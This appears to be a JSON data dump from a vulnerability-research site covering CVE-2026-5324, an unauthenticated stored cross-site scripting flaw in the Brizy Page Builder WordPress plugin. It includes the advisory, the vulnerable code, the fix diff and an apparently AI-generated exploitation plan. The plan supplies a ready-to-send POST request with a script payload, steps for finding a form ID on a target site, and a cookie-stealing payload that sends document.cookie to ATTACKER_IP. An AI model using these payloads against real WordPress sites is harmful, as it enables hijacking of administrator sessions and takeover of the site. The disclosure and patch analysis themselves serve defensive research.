[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fB1jGCMNl8zyEoCk59vKkkDPTCG3hfGn991fNNgY81Sg":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-5324","brizy-page-builder-unauthenticated-stored-cross-site-scripting-via-fileupload-field-value","Brizy – Page Builder \u003C= 2.8.11 - Unauthenticated Stored Cross-Site Scripting via FileUpload Field Value","The Brizy – Page Builder plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting in all versions up to, and including, 2.8.11 This is due to a combination of missing nonce verification for unauthenticated form submissions, insufficient handling of FileUpload fields when no file is uploaded, and the reversal of security encoding via html_entity_decode() followed by unescaped output in the admin view. The submit_form() function skips nonce verification for non-logged-in users (api.php:198). The handleFileTypeFields() function fails to overwrite user-supplied values when no file is attached. While htmlentities() is applied during storage, html_entity_decode() reverses this on display (form-entries.php:79). The form-data.php template outputs FileUpload values directly in href attributes without esc_url(). This makes it possible for unauthenticated attackers to inject arbitrary web scripts that execute when an administrator views the form Leads page.","brizy",null,"\u003C=2.8.11","2.8.12","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-05-01 20:15:49","2026-05-02 08:27:05",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F78ec499e-5edd-4f11-9090-f79868864fee?source=api-prod",1,[22,23,24,25,26,27,28],"README.md","admin\u002Fviews\u002Fform-data.php","brizy.php","editor\u002Fforms\u002Fapi.php","languages\u002Fbrizy.pot","readme.txt","vendor\u002Fcomposer\u002Finstalled.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-5324 (Brizy Stored XSS)\n\n## 1. Vulnerability Summary\nThe **Brizy – Page Builder** plugin for WordPress (up to 2.8.11) contains a critical flaw allowing unauthenticated stored cross-site scripting. The vulnerability exists because the plugin's form submission handler (`submit_form()`) fails to verify nonces for unauthenticated users and improperly processes `FileUpload` fields. While fields are initially encoded during storage, the admin view (`admin\u002Fviews\u002Fform-data.php`) reverses this encoding via `html_entity_decode()` and outputs the data directly into a link's `href` attribute and text content without proper sanitization (e.g., `esc_url()` or `esc_html()`).\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `wp-admin\u002Fadmin-ajax.php`\n- **Action**: `brizy_submit_form` (handled by `Brizy_Editor_Forms_Api::submit_form`)\n- **Vulnerable Parameter**: `data` (JSON-encoded string)\n- **Authentication**: None required (specifically allowed for `nopriv` users).\n- **Precondition**: A Brizy form must exist on the site to provide a valid `form_id`.\n- **Target Sink**: The \"Leads\" page in the WordPress admin dashboard where form submissions are viewed.\n\n## 3. Code Flow\n1. **Entry Point**: A `POST` request is sent to `admin-ajax.php` with `action=brizy_submit_form`.\n2. **Nonce Skip**: Inside `Brizy_Editor_Forms_Api::submit_form()` (in `editor\u002Fforms\u002Fapi.php` at line 198), the code checks `if ( is_user_logged_in() )`. Since the attacker is not logged in, the `wp_verify_nonce` block is skipped.\n3. **Form Retrieval**: The code retrieves the form object using `$_REQUEST['form_id']`.\n4. **Data Parsing**: The `$_REQUEST['data']` parameter is parsed via `json_decode(stripslashes($_REQUEST['data']))`.\n5. **Field Processing**: The filter `brizy_form_submit_data` triggers `handleFileTypeFields()`. If a field's `type` is `FileUpload` but no actual file is uploaded in `$_FILES`, the user-supplied string value in the JSON `data` is retained.\n6. **Storage**: The malicious string (e.g., a `javascript:` URI or a tag breakout) is stored in the database (likely in a Custom Post Type for \"Leads\").\n7. **Execution (Sink)**: When an admin views the \"Leads\" details, `admin\u002Fviews\u002Fform-data.php` renders the field.\n    - It checks `if ( $type == 'FileUpload' )`.\n    - It echoes the value inside an `\u003Ca>` tag's `href` attribute and its inner text:\n      ```php\n      \u003Ca href=\"\u003C?php echo $field->value; ?>\" target=\"_blank\">\n          \u003C?php echo $field->value; ?>\n      \u003C\u002Fa>\n      ```\n    - Since no `esc_url()` or `esc_html()` is used, the XSS payload executes.\n\n## 4. Nonce Acquisition Strategy\n**No nonce is required.**\nThe source code in `editor\u002Fforms\u002Fapi.php` explicitly shows:\n```php\npublic function submit_form() {\n    if ( is_user_logged_in() ) {\n        if ( empty( $_REQUEST['nonce'] ) || ! wp_verify_nonce( $_REQUEST['nonce'], Brizy_Editor_API::nonce ) ) {\n            $this->error( 401, 'Please refresh the page and try again.' );\n        }\n    }\n    \u002F\u002F Execution continues for non-logged-in users without nonce check\n```\nBecause the `nopriv` handler is registered, unauthenticated users can reach this logic without satisfying the `is_user_logged_in()` check, thus bypassing the nonce requirement entirely.\n\n## 5. Exploitation Strategy\n### Step 1: Discover a Form ID\nThe attacker needs a valid `form_id` from a published Brizy page.\n1. Use `browser_navigate` to visit the site's homepage or any page built with Brizy.\n2. Use `browser_eval` to find the form ID:\n   `document.querySelector('[data-form-id]')?.getAttribute('data-form-id')`\n\n### Step 2: Submit the Malicious Payload\nSend a POST request to `admin-ajax.php`.\n- **Payload**: `\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>`\n- **Request Details**:\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=brizy_submit_form&form_id=FORM_ID_HERE&data=[{\"name\":\"upload_field\",\"value\":\"\\\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>\",\"type\":\"FileUpload\",\"label\":\"Proof\"}]\n```\n\n## 6. Test Data Setup\nTo ensure the environment is ready for the PoC:\n1. **Create a Page**: Create a new page and set it as a Brizy page.\n2. **Inject a Form**: Since adding a Brizy form via CLI is complex, the PoC should use `wp eval` to simulate the existence of a form or check for any existing Brizy form posts.\n3. **Command**: \n   ```bash\n   # Create a page and a mock form via the Brizy FormManager\n   wp eval '\n   $manager = new Brizy_Editor_Forms_FormManager(Brizy_Editor_Project::get());\n   $form = new Brizy_Editor_Forms_Form();\n   $form->setId(\"exploit-form-123\");\n   $form->setLabel(\"Exploit Test Form\");\n   $manager->addForm($form);\n   '\n   ```\n\n## 7. Expected Results\n- The AJAX response should return `{\"success\":true,...}`.\n- In the WordPress Admin Dashboard, navigating to **Brizy > Leads**, the new entry will appear.\n- Clicking \"View\" or \"Details\" on the lead will trigger the `admin\u002Fviews\u002Fform-data.php` template.\n- The browser will execute the `alert(document.domain)` script because the value is rendered unsanitized in the `href` and text of the `\u003Ca>` tag.\n\n## 8. Verification Steps\nAfter the HTTP request, verify the payload is stored in the database:\n```bash\n# Check the custom post type for leads (usually 'brizy-lead' or stored in options)\nwp post list --post_type=brizy-lead --format=json\n# Or check the specific meta\u002Fcontent if stored as JSON\nwp db query \"SELECT post_content FROM wp_posts WHERE post_type='brizy-lead' ORDER BY ID DESC LIMIT 1;\"\n```\n\n## 9. Alternative Approaches\nIf the `\">\u003Cscript>` breakout fails due to earlier `htmlentities()` encoding that isn't decoded in the specific test version, use a `javascript:` URI:\n- **Payload**: `javascript:fetch('http:\u002F\u002FATTACKER_IP\u002F?c='+document.cookie)`\n- This payload is highly effective because it is placed directly into the `href` attribute. The admin only needs to click the \"file link\" in the Leads view to trigger it, though a direct tag breakout is preferred for zero-interaction execution if `form-data.php` is rendered on the summary page.","The Brizy – Page Builder plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting due to a missing nonce check for logged-out users in its form submission handler and improper handling of file upload metadata. Attackers can submit malicious payloads in fields designated as FileUpload, which are then rendered unsanitized in the admin 'Leads' view, allowing for arbitrary script execution in an administrator's session.","\u002F\u002F editor\u002Fforms\u002Fapi.php:198 - Nonce verification is skipped for unauthenticated users\npublic function submit_form() {\n    if ( is_user_logged_in() ) {\n        if ( empty( $_REQUEST['nonce'] ) || ! wp_verify_nonce( $_REQUEST['nonce'], Brizy_Editor_API::nonce ) ) {\n            $this->error( 401, 'Please refresh the page and try again.' );\n        }\n    }\n\n---\n\n\u002F\u002F admin\u002Fviews\u002Fform-data.php:9-13 - FileUpload values are output without escaping\n\u003C?php if ( $type == 'FileUpload' ): ?>\n    \u003Cspan id=\"\u003C?php echo esc_attr($field->name); ?>\">\n        \u003Ca href=\"\u003C?php echo $field->value; ?>\" target=\"_blank\">\n            \u003C?php echo $field->value; ?>\n        \u003C\u002Fa>\n    \u003C\u002Fspan>","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fbrizy\u002F2.8.11\u002Fadmin\u002Fviews\u002Fform-data.php\t2024-08-01 13:33:14.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fbrizy\u002F2.8.12\u002Fadmin\u002Fviews\u002Fform-data.php\t2026-04-09 07:49:02.000000000 +0000\n@@ -4,17 +4,17 @@\n         \u003C?php $type  = isset( $field->type ) ? $field->type : 'Text'; ?>\n         \u003Cli>\n             \u003Clabel for=\"\u003C?php echo esc_attr($field->name); ?>\">\n-                \u003C?php echo strip_tags( $label ); ?>\n+                \u003C?php echo esc_html( strip_tags( $label ) ); ?>\n             \u003C\u002Flabel>:\n             \u003C?php if ( $type == 'FileUpload' ): ?>\n                 \u003Cspan id=\"\u003C?php echo esc_attr($field->name); ?>\">\n-                    \u003Ca href=\"\u003C?php echo $field->value; ?>\" target=\"_blank\">\n-                        \u003C?php echo $field->value; ?>\n+                    \u003Ca href=\"\u003C?php echo esc_url( $field->value ); ?>\" target=\"_blank\">\n+                        \u003C?php echo esc_html( $field->value ); ?>\n                     \u003C\u002Fa>\n                 \u003C\u002Fspan>\n             \u003C?php else: ?>\n                 \u003Cspan id=\"\u003C?php echo esc_attr($field->name); ?>\" class=\"formData-\u003C?php echo strtolower( esc_attr( $type ) ); ?>\">\n-                    \u003C?php echo strip_tags( $field->value, '\u003Cbr>' ); ?>\n+                    \u003C?php echo wp_kses( $field->value, array( 'br' => array() ) ); ?>\n                 \u003C\u002Fspan>\n             \u003C?php endif; ?>\n         \u003C\u002Fli>\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fbrizy\u002F2.8.11\u002Feditor\u002Fforms\u002Fapi.php\t2024-08-16 10:43:58.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fbrizy\u002F2.8.12\u002Feditor\u002Fforms\u002Fapi.php\t2026-04-09 07:49:02.000000000 +0000\n@@ -297,6 +297,11 @@\n \n         foreach ($fields as $field) {\n             if ($field->type == 'FileUpload') {\n+                if ( ! isset( $_FILES[ $field->name ] ) || empty( $_FILES[ $field->name ]['name'] ) ) {\n+                    $field->value = '';\n+                    continue;\n+                }\n+\n                 $uFile = $_FILES[$field->name];\n \n                 foreach ($_FILES[$field->name]['name'] as $index => $value) {","1. Identify a valid `form_id` on a target WordPress site using Brizy (discoverable via `data-form-id` attributes in the page source).\n2. Construct an AJAX POST request to `wp-admin\u002Fadmin-ajax.php` with the action `brizy_submit_form`.\n3. In the `data` parameter, provide a JSON-encoded array containing a field object where `type` is set to `FileUpload` and `value` contains an XSS payload (e.g., `\">\u003Cscript>alert(1)\u003C\u002Fscript>`).\n4. Omit the `nonce` parameter. Because the attacker is unauthenticated, the plugin's `submit_form` logic will skip nonce verification.\n5. When an administrator navigates to the 'Brizy' -> 'Leads' menu in the WordPress dashboard and views the details of the new submission, the payload will execute because the value is rendered directly into an `\u003Ca>` tag without URI escaping or HTML entity encoding.","gemini-3-flash-preview","2026-05-04 17:07:20","2026-05-04 17:07:56",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","2.8.11","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbrizy\u002Ftags\u002F2.8.11","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbrizy.2.8.11.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbrizy\u002Ftags\u002F2.8.12","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbrizy.2.8.12.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbrizy\u002Ftags"]